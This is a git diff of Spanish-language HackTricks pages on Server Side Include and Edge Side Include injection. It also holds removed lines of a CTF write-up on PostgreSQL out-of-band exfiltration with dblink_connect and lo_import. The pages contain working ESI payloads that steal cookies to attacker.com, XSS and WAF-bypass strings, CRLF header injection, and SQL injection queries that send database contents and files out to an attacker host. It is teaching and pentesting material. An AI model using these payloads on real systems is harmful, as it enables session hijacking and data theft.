* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,31 +1,33 @@
|
|||
# Inyección de Server Side Inclusion/Edge Side Inclusion
|
||||
# Inclusión del Lado del Servidor/Inyección de Inclusión del Lado del Borde
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## Información Básica de Server Side Inclusion
|
||||
## Información Básica sobre la Inclusión del Lado del Servidor
|
||||
|
||||
SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras se sirven las páginas. Permiten **añadir contenido generado dinámicamente** a una página HTML existente, sin necesidad de servir toda la página a través de un programa CGI u otra tecnología dinámica.\
|
||||
(Definición tomada de [aquí](https://httpd.apache.org/docs/current/howto/ssi.html))
|
||||
|
||||
SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras las páginas se están sirviendo. Te permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
|
||||
Por ejemplo, podrías colocar una directiva en una página HTML existente, como:
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
Y, cuando se sirva la página, este fragmento será evaluado y reemplazado con su valor:
|
||||
Y, cuando se sirva la página, este fragmento será evaluado y reemplazado por su valor:
|
||||
|
||||
`Martes, 15-Ene-2013 19:28:54 EST`
|
||||
|
||||
La decisión de cuándo usar SSI, y cuándo hacer que tu página sea generada completamente por algún programa, suele ser una cuestión de cuánto de la página es estática y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de añadir pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución. (Definición tomada de [aquí](https://httpd.apache.org/docs/current/howto/ssi.html)).
|
||||
La decisión de cuándo usar SSI, y cuándo tener tu página generada completamente por algún programa, suele ser una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeños fragmentos de información, como la hora actual, mostrada arriba. Pero si la mayoría de tu página se está generando en el momento en que se sirve, necesitas buscar otra solución.
|
||||
|
||||
Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones \*\* `.shtml`, `.shtm` o `.stm`\*\*, pero no es el único caso.
|
||||
|
||||
|
@ -64,19 +66,19 @@ Una expresión SSI típica tiene el siguiente formato:
|
|||
<!--#set var="name" value="Rich" -->
|
||||
|
||||
```
|
||||
## Inclusión en el Lado del Servidor (Edge Side Inclusion)
|
||||
## Inclusión en el Borde
|
||||
|
||||
Existe un problema al **almacenar en caché información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que necesita generarse** antes de enviar la versión en caché.\
|
||||
Si un **atacante** logra **inyectar una etiqueta ESI** dentro del contenido en caché, entonces, podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
|
||||
Existe un problema al **almacenar en caché información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que debe generarse** antes de enviar la versión en caché.\
|
||||
si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces, podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
|
||||
|
||||
### Detección de ESI
|
||||
|
||||
El siguiente **encabezado** en una respuesta del servidor indica que el servidor está utilizando ESI:
|
||||
El siguiente **encabezado** en una respuesta del servidor significa que el servidor está utilizando ESI:
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
Si no puedes encontrar este encabezado, el servidor **podría estar utilizando ESI de todos modos**.\
|
||||
Un **enfoque de explotación a ciegas también puede ser utilizado** ya que se espera que una solicitud llegue al servidor del atacante:
|
||||
También se puede utilizar un **enfoque de explotación a ciegas** ya que una solicitud debería llegar al servidor de los atacantes:
|
||||
```javascript
|
||||
// Basic detection
|
||||
hell<!--esi-->o
|
||||
|
@ -99,32 +101,32 @@ hell<!--esi-->o
|
|||
```
|
||||
### Explotación de ESI
|
||||
|
||||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) ha creado una tabla para ayudarnos a comprender posibles ataques que podemos intentar contra diferentes software compatibles con ESI, dependiendo de la funcionalidad soportada. Primero, proporcionemos algunas explicaciones sobre los nombres de las columnas de la siguiente tabla:
|
||||
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) ha creado una tabla para ayudarnos a entender posibles ataques que podemos intentar contra diferentes software compatibles con ESI, dependiendo de la funcionalidad admitida. Primero proporcionemos algunas explicaciones sobre los nombres de las columnas de la siguiente tabla:
|
||||
|
||||
* **Includes**: Soporta la directiva `<esi:includes>`
|
||||
* **Vars**: Soporta la directiva `<esi:vars>`. Útil para evadir filtros de XSS
|
||||
* **Cookie**: Las cookies del documento son accesibles para el motor de ESI
|
||||
* **Upstream Headers Required**: Las aplicaciones sustitutas no procesarán declaraciones de ESI a menos que la aplicación de origen proporcione las cabeceras
|
||||
* **Host Allowlist**: En este caso, los includes de ESI solo son posibles desde servidores anfitriones permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos anfitriones
|
||||
- **Includes**: Admite la directiva `<esi:includes>`
|
||||
- **Vars**: Admite la directiva `<esi:vars>`. Útil para evadir filtros XSS
|
||||
- **Cookie**: Las cookies del documento son accesibles para el motor ESI
|
||||
- **Se Requieren Encabezados de Origen**: Las aplicaciones sustitutas no procesarán declaraciones ESI a menos que la aplicación de origen proporcione los encabezados
|
||||
- **Lista Blanca de Hosts**: En este caso, las inclusiones ESI solo son posibles desde hosts de servidor permitidos, lo que hace que, por ejemplo, SSRF solo sea posible contra esos hosts
|
||||
|
||||
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||
| Squid3 | Sí | Sí | Sí | Sí | No |
|
||||
| Varnish Cache | Sí | No | No | Sí | Sí |
|
||||
| Fastly | Sí | No | No | No | Sí |
|
||||
| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
|
||||
| NodeJS esi | Sí | Sí | Sí | No | No |
|
||||
| NodeJS nodesi | Sí | No | No | No | Opcional |
|
||||
| **Software** | **Includes** | **Vars** | **Cookies** | **Se Requieren Encabezados de Origen** | **Lista Blanca de Hosts** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :-------------------------------------: | :-----------------------: |
|
||||
| Squid3 | Sí | Sí | Sí | Sí | No |
|
||||
| Varnish Cache | Sí | No | No | Sí | Sí |
|
||||
| Fastly | Sí | No | No | No | Sí |
|
||||
| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
|
||||
| NodeJS esi | Sí | Sí | Sí | No | No |
|
||||
| NodeJS nodesi | Sí | No | No | No | Opcional |
|
||||
|
||||
#### XSS
|
||||
|
||||
La siguiente directiva de ESI cargará un archivo arbitrario dentro de la respuesta del servidor
|
||||
La siguiente directiva ESI cargará un archivo arbitrario dentro de la respuesta del servidor
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/xss.html>
|
||||
```
|
||||
El archivo _http://attacker.com/xss.html_ puede contener un payload XSS como `<script>alert(1)</script>`
|
||||
|
||||
#### Evadir la protección XSS del cliente
|
||||
#### Bypass protección XSS del cliente
|
||||
```markup
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
|
||||
|
@ -132,29 +134,35 @@ Use <!--esi--> to bypass WAFs:
|
|||
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
||||
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
||||
```
|
||||
#### Robar Cookie
|
||||
#### Robo de Cookies
|
||||
|
||||
* Robo remoto de cookie
|
||||
* Robo remoto de cookies
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
* Robar cookie HTTP\_ONLY con XSS reflejándola en la respuesta:
|
||||
* Robar la cookie HTTP\_ONLY con XSS al reflejarla en la respuesta:
|
||||
```bash
|
||||
# This will reflect the cookies in the response
|
||||
<!--esi $(HTTP_COOKIE) -->
|
||||
# Reflect XSS
|
||||
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
||||
```
|
||||
* Toma completa de cuenta reflejando cookies
|
||||
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Toma completa de la cuenta al reflejar cookies
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Archivo Local Privado
|
||||
|
||||
No confundir esto con una "Inclusión de Archivo Local":
|
||||
No confundir con una "Inclusión de Archivo Local":
|
||||
```markup
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
|
||||
CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in text files. In web security, CRLF injection involves inserting CRLF characters into input fields to manipulate the application's behavior. This can lead to various attacks such as HTTP response splitting and server-side request forgery.
|
||||
```markup
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
|
@ -164,9 +172,9 @@ Lo siguiente agregará un encabezado `Location` a la respuesta
|
|||
```bash
|
||||
<!--esi $add_header('Location','http://attacker.com') -->
|
||||
```
|
||||
#### Añadir Encabezado
|
||||
#### Agregar Encabezado
|
||||
|
||||
* Añadir encabezado en solicitud forzada
|
||||
* Agregar encabezado en solicitud forzada
|
||||
```html
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345"/>
|
||||
|
@ -180,14 +188,14 @@ Lo siguiente agregará un encabezado `Location` a la respuesta
|
|||
```
|
||||
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### CRLF en encabezado Add (**CVE-2019-2438)**
|
||||
#### CRLF en Agregar encabezado (**CVE-2019-2438)**
|
||||
```markup
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345
|
||||
Host: anotherhost.com"/>
|
||||
</esi:include>
|
||||
```
|
||||
#### Akamai debug
|
||||
#### Depuración de Akamai
|
||||
|
||||
Esto enviará información de depuración incluida en la respuesta:
|
||||
```markup
|
||||
|
@ -195,7 +203,7 @@ Esto enviará información de depuración incluida en la respuesta:
|
|||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
También es posible agregar includes de ESI basados en \*\* **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** \*\* especificando el valor `xslt` al parámetro _dca_. El siguiente include provocará que el sustituto HTTP solicite el archivo XML y XSLT. Luego, el archivo XSLT se utiliza para filtrar el archivo XML. Este archivo XML puede ser utilizado para realizar ataques _XML External Entity (XXE)_. Esto permite a los atacantes realizar ataques SSRF, lo cual no es muy útil ya que esto debe realizarse a través de includes de ESI, que es un vector SSRF en sí mismo. Los DTD externos no se analizan ya que la biblioteca subyacente (Xalan) no tiene soporte para ello. Esto significa que no podemos extraer archivos locales.
|
||||
También es posible agregar inclusiones ESI basadas en \*\* **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** \*\* especificando el valor `xslt` al parámetro _dca_. La inclusión siguiente hará que el servidor HTTP solicite el archivo XML y XSLT. Luego, el archivo XSLT se utiliza para filtrar el archivo XML. Este archivo XML se puede utilizar para realizar ataques de _XML External Entity (XXE)_. Esto permite a los atacantes realizar ataques SSRF, lo cual no es muy útil ya que debe realizarse a través de inclusiones ESI, que es un vector SSRF en sí mismo. Las DTD externas no se analizan ya que la biblioteca subyacente (Xalan) no tiene soporte para ello. Esto significa que no podemos extraer archivos locales.
|
||||
```markup
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
|
@ -228,10 +236,10 @@ Revisa la página XSLT:
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,173 +1,34 @@
|
|||
# Exfiltración de datos con dblink/lo_import
|
||||
# Exfiltración de datos con dblink/lo\_import
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Este es un ejemplo de cómo exfiltrar datos cargando archivos en la base de datos con `lo_import` y exfiltrarlos utilizando `dblink_connect`.**
|
||||
**Este es un ejemplo de cómo exfiltrar datos cargando archivos en la base de datos con `lo_import` y exfiltrándolos usando `dblink_connect`.**
|
||||
|
||||
## Preparando el servidor de exfiltración/Inyección SQL Asíncrona
|
||||
**Consulta la solución en:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
**Extraído de:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
Debido a que `pg_sleep` tampoco causa retraso, podemos asumir con seguridad que la ejecución de la consulta ocurre en segundo plano o de manera asíncrona.
|
||||
|
||||
Normalmente, `dblink_connect` se puede usar para abrir una conexión persistente con una base de datos PostgreSQL remota (por ejemplo, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Dado que podemos controlar el parámetro de esta función, podemos realizar un SQL Server Side Request Forgery a nuestro propio host. Eso significa que podemos realizar una Inyección SQL Out-of-Band para exfiltrar datos de los resultados de la consulta SQL. Al menos, hay dos maneras de hacer esto:
|
||||
|
||||
1. Configurar un **servidor DNS** y luego activar la conexión a `[data].our.domain` para que podamos ver los datos en el registro o en los paquetes de red DNS.
|
||||
2. Configurar un **servidor PostgreSQL público, monitorear los paquetes de red entrantes al puerto de PostgreSQL**, y luego activar una conexión a nuestro host con los datos exfiltrados como `user`/`dbname`. Por **defecto**, PostgreSQL no utiliza SSL para la comunicación, por lo que podemos ver `user`/`dbname` como un **texto plano** en la red.
|
||||
|
||||
El **segundo método es más fácil** porque no necesitamos ningún dominio. Solo necesitamos configurar un servidor con una IP pública, instalar PostgreSQL, configurar el servicio de PostgreSQL para que escuche en \*/0.0.0.0 y ejecutar un volcador de red (por ejemplo, tcpdump) para monitorear el tráfico al puerto de PostgreSQL (5432 por defecto).
|
||||
|
||||
Para configurar PostgreSQL para que **escuche al público**, establece `listen_addresses` en `postgresql.conf` a `*`.
|
||||
```
|
||||
listen_addresses = '*'
|
||||
```
|
||||
Para monitorear el tráfico entrante, ejecute `tcpdump` para monitorear el puerto 5432.
|
||||
```
|
||||
sudo tcpdump -nX -i eth0 port 5432
|
||||
```
|
||||
Para ver si obtenemos una conexión desde el objetivo, podemos intentar usar esta consulta:
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
|
||||
```
|
||||
Si tiene éxito, obtenemos un fragmento de paquete de red con `user` y `dbname` legibles.
|
||||
```
|
||||
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
|
||||
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
|
||||
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
|
||||
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
|
||||
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
|
||||
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
|
||||
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
|
||||
```
|
||||
Luego, podemos **continuar extrayendo la base de datos utilizando varias consultas de PostgreSQL**. Ten en cuenta que para cada resultado de consulta que contenga espacios en blanco, necesitamos convertir el resultado a **hex/base64** con la función `encode` o reemplazar el espacio en blanco por otro carácter con la función `replace` porque causará un error de ejecución durante el proceso de `dblink_connect`.
|
||||
|
||||
Obtener un **listado** de **esquemas**:
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
|
||||
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
|
||||
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
|
||||
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
|
||||
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
|
||||
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
|
||||
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
|
||||
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
|
||||
0x0070: 6f73 7467 7265 7300 00 ostgres.
|
||||
```
|
||||
Obtén un **listado** de **tablas** en el esquema actual:
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
|
||||
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
|
||||
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
|
||||
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
|
||||
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
|
||||
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
|
||||
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
|
||||
```
|
||||
**Cuenta** las **filas** en la tabla `searches`.
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
|
||||
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
|
||||
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
|
||||
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
|
||||
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
|
||||
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
|
||||
0x0050: 6772 6573 0000 gres.
|
||||
```
|
||||
Parece que solo hay una tabla vacía en el esquema actual y la bandera no está en la base de datos. Realmente podríamos necesitar exfiltrar datos de `/var/lib/postgresql/data/secret`. Desafortunadamente, si intentamos usar `pg_read_file` o `pg_read_binary_file` para leer el archivo, no obtendremos una conexión entrante, por lo que el usuario actual puede no tener permiso para usar estas funciones.
|
||||
|
||||
#### Más información sobre SQLInjection asincrónica con postdresql
|
||||
|
||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
## **Exfiltración del contenido de objetos grandes**
|
||||
|
||||
Es posible leer archivos usando objetos grandes ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Podemos usar `lo_import` para cargar el contenido del archivo en el catálogo `pg_largeobject`. Si la consulta es exitosa, obtendremos el `oid` del objeto.
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
|
||||
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
|
||||
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
|
||||
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
|
||||
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
|
||||
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
|
||||
0x0050: 706f 7374 6772 6573 0000 postgres..
|
||||
```
|
||||
Obtuvimos 24668 como `oid`, lo que significa que podemos usar la función `lo_import`. Desafortunadamente, no obtendremos ningún resultado si intentamos obtener el contenido del objeto grande usando `lo_get(24668)` o acceder directamente al catálogo `pg_largeobject`. **Parece que el usuario actual no tiene permiso para leer el contenido de los nuevos objetos.**
|
||||
|
||||
Después de leer la documentación de objetos grandes en PostgreSQL, podemos descubrir que **los objetos grandes pueden tener ACL** (Lista de Control de Acceso). Eso significa que, si hay un objeto antiguo con un ACL que permite al usuario actual leerlo, entonces podemos exfiltrar el contenido de ese objeto.
|
||||
|
||||
Podemos obtener una lista de `oid` de objetos grandes disponibles extrayendo de `pg_largeobject_metadata`.
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
|
||||
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
|
||||
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
|
||||
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
|
||||
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
|
||||
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
|
||||
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
|
||||
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
|
||||
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
|
||||
